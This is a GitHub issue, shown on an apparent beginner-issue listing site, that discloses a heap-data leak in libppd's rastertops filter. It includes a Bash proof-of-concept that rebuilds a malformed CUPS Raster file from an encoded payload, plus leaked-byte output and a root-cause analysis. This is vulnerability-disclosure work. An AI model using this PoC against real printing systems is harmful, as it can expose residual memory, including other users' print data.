rastertops: a truncated row leaks residual heap data into PostScript

Abierto Apto para principiantes
#86 0 comentarios 0 reacciones 0 asignados Ver en GitHub

Nadie ha tomado este issue todavía.

Evaluación

Dificultad
2/5
Tiempo estimado
1-3 horas
Aptitud para principiantes
72/100
Tipo de issue
Error
Claridad
Bien especificado
Estado de actividad
Tranquilo
Stack tecnológico
c
Área
security

Línea de trabajo

Comienza en rastertops.c alrededor de write_flate() en las líneas 270-290 y luego ejecuta reproduce.sh con el poc/document.ras proporcionado. Está hecho cuando una lectura corta de una fila rasterizada se trata como un documento truncado y la parte no leída está ausente del flujo de imagen PostScript generado.

Escrito por el modelo de indexación a partir del texto del issue.

Descripción

Summary

ppdFilterRasterToPS() ignores a short raster-row read and compresses the
entire uninitialized row buffer into its PostScript output. A two-page Raster
document whose first page contains a marker and whose second page contains
only a header makes the second page expose allocator data and residual bytes
from the first page.

The document alone reaches the normal standalone rastertops filter. The
confidentiality impact depends on access to the generated PostScript stream.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/libppd fc41539f761286396a7df8aeeda762070192e37e.

Validated revisions:

  • cups-filters: 11d1a190530f85a361a1b3835f57d635256dff1a
  • libcupsfilters: 905fd94fb22a9298bc8e2c845eb7e04f7055b686
  • libppd: 522af8dd135f4dde66b1aac8b9d067808bbe122d

poc/document.ras contains two 64x1 K8 CUPS Raster v3 pages. Page one has a
controlled marker; page two has no pixel body. It is 3,660 bytes with SHA-256
706e6187a4b46ab57b93b56fd3c6c3a52c4052f66c8d7aa7e9ed5f7fbbb8b75b.

Run:

./reproduce.sh

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: rastertops: a truncated row leaks residual heap data into PostScript
# Finding ID: rastertops-truncated-row-heap-disclosure
# Trigger: ppdFilterRasterToPS() ignores a short raster-row read and
# compresses the entire uninitialized row buffer into its PostScript output. A
# two-page Raster document whose first page contains a marker and whose second
# page contains only a header makes the second page expose allocator data and
# residual bytes from the first page.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Malformed or boundary document consumed by the real filter/API.
# Output: document.ras (3660 bytes)
write_file document.ras 706e6187a4b46ab57b93b56fd3c6c3a52c4052f66c8d7aa7e9ed5f7fbbb8b75b <<'POC_PAYLOAD_0'
H4sIAAAAAAACAwtKDDZmGGAQkJOYmUeBfqecxORsqruKUQeC4cABJEiKAQT0IotxQLEDlM+MxQxG
+wagX4EYRI+CUTAKRsEooA7wcXX01vV1DPJ2DdI1MDQyNjE1M7ewTExKTklNI0ZutA4drUNHwSgY
BaNgpAIAVQd2MkwOAAA=
POC_PAYLOAD_0

Result

Both PostScript image streams decompress to 64 bytes. The first is controlled:

LEAK-MARKER-0123456789abcdef...

The second begins with changing allocator bytes and retains the first page's
tail, for example:

997688b2cf60000000000000000000003435363738396162636465664c45414b...

Repeated runs change the second-page hash while preserving residual marker
fragments.

Cause and expected behavior

write_flate() allocates PixelBuffer at rastertops.c:270, ignores the
return value from cupsRasterReadPixels() at line 271, and then copies and
compresses a complete row at lines 280-290. The second page reuses a heap
chunk whose contents were never replaced by raster data.

The filter must treat any short row as a truncated document, stop the page,
and avoid serializing the unread portion of PixelBuffer.

Lenguaje dominante
C
Estrellas
5
Forks
29
Métricas de merge de PR
Sin PR fusionados en 30 d

Guía de contribución

Abrir la guía de contribución

Primeros pasos

  1. Lee el issue completo y luego la guía de contribución del proyecto.
  2. Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
  3. Haz un fork del repositorio y trabaja en una rama.
  4. Abre un pull request que haga referencia al número del issue.

Más de OpenPrinting/libppd

Todos los issues de OpenPrinting/libppd

Issues similares

Más issues de C

Recibe los nuevos issues en tu correo

Un resumen breve de issues de GitHub para principiantes.